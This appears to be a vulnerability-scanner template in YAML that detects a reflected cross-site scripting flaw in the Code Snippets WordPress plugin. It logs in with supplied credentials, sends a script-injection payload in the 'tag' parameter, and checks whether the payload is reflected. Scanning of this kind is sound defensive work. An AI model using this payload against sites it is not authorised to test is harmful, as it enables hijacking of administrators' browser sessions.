42 lines
1.3 KiB
YAML
42 lines
1.3 KiB
YAML
|
id: wp-code-snippets-xss
|
||
|
|
||
|
info:
|
||
|
name: Code Snippets Wordpress Plugin - XSS
|
||
|
author: dhiyaneshDK
|
||
|
severity: medium
|
||
|
description: A reflected Cross-Site Scripting (XSS) vulnerability has been found in the Code Snippets WordPress Plugin. By using this vulnerability an attacker can inject malicious JavaScript code into the application, which will execute within the browser of any logged-in admin who views the link
|
||
|
reference: https://www.securify.nl/en/advisory/cross-site-scripting-in-code-snippets-wordpress-plugin/
|
||
|
tags: wordpress,xss,wp-plugin,authenticated
|
||
|
|
||
|
requests:
|
||
|
- raw:
|
||
|
- |
|
||
|
POST /wp-login.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Origin: {{RootURL}}
|
||
|
Content-Type: application/x-www-form-urlencoded
|
||
|
Cookie: wordpress_test_cookie=WP%20Cookie%20check
|
||
|
|
||
|
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
|
||
|
|
||
|
- |
|
||
|
GET /wp-admin/admin.php?page=snippets&tag=</script><script>alert(document.domain)</script> HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
|
||
|
cookie-reuse: true
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
part: body
|
||
|
words:
|
||
|
- '</script><script>alert(document.domain)</script>'
|
||
|
|
||
|
- type: word
|
||
|
part: header
|
||
|
words:
|
||
|
- "text/html"
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|